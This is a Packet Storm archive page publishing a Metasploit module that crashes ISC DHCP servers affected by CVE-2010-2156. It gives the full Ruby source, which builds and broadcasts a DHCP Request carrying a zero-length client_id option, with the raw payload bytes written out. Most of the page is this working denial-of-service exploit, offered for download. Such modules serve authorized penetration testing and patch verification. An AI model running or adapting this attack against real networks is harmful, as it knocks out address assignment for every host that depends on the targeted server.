what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ISC DHCP Zero Length ClientID Denial of Service Module

ISC DHCP Zero Length ClientID Denial of Service Module
Posted Aug 31, 2024
Authored by sid, The Light Cosine | Site metasploit.com

This Metasploit module performs a Denial of Service Attack against the ISC DHCP server, versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request message with a 0-length client_id option for an IP address on the appropriate range for the dhcp server. When ISC DHCP Server tries to hash this value it exits abnormally.

tags | exploit, denial of service
advisories | CVE-2010-2156
SHA-256 | ba9a5d1214ff99e3e3422a52f1071968aadd8890883807556093d448e1ac9536

ISC DHCP Zero Length ClientID Denial of Service Module

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Capture

def initialize
super(
'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',
'Description' => %q{
This module performs a Denial of Service Attack against the ISC DHCP server,
versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request
message with a 0-length client_id option for an IP address on the appropriate range
for the dhcp server. When ISC DHCP Server tries to hash this value it exits
abnormally.
},
'Author' =>
[
'sid', # Original POC
'theLightCosine' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2156' ],
[ 'OSVDB', '65246'],
[ 'EDB', '14185']
]
)
register_options(
[
OptAddress.new('RIP', [true, 'A valid IP to request from the server'])
]
)
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
end

def run
open_pcap
print_status("Creating DHCP Request with 0-length ClientID")
p = PacketFu::UDPPacket.new
p.ip_daddr = "255.255.255.255"
p.udp_sport = 68
p.udp_dport = 67

# TODO: Get a DHCP parser into PacketFu
chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"
dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"
p.payload = dhcp_req(chaddr,dhcp_payload)
p.recalc
print_status("Sending malformed DHCP request...")
capture_sendto(p, '255.255.255.255')
close_pcap
end

def dhcp_req(chaddr,payload)
req = "\x00" * 236
req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
req[12,4] = Rex::Socket.addr_aton(datastore['RIP'])
req[28,6] = chaddr
req + payload
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close